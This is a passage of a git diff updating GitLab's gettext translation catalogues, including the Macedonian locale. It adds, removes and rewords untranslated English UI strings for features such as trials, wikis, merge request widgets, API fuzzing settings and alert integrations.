msgid "Toggle navigation"
msgstr ""
@@ -31918,10 +32702,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32056,9 +32840,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32113,6 +32894,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32515,7 +33302,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32524,6 +33311,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32620,6 +33410,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32818,9 +33611,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32872,6 +33662,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32917,7 +33710,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33145,9 +33941,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33214,7 +34007,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33223,6 +34031,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33378,9 +34192,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33408,6 +34228,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33417,6 +34240,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33822,15 +34648,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34005,6 +34846,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34105,9 +34949,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34180,34 +35021,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34219,9 +35075,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34234,9 +35087,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34297,6 +35147,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34453,6 +35306,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34594,6 +35453,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34678,9 +35540,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34717,12 +35576,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34756,7 +35609,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34771,9 +35624,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34957,12 +35807,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35083,6 +35939,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35176,7 +36035,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35285,6 +36144,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35589,6 +36451,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35783,6 +36654,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35955,7 +36829,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35992,13 +36866,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36112,9 +36983,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36265,18 +37133,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36307,9 +37169,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36376,15 +37235,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36672,9 +37522,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36720,6 +37567,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/mk_MK/gitlab.po b/locale/mk_MK/gitlab.po
index 50d6990e12a..e380daf58f1 100644
--- a/locale/mk_MK/gitlab.po
+++ b/locale/mk_MK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: mk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:56\n"
+"PO-Revision-Date: 2021-04-02 00:18\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
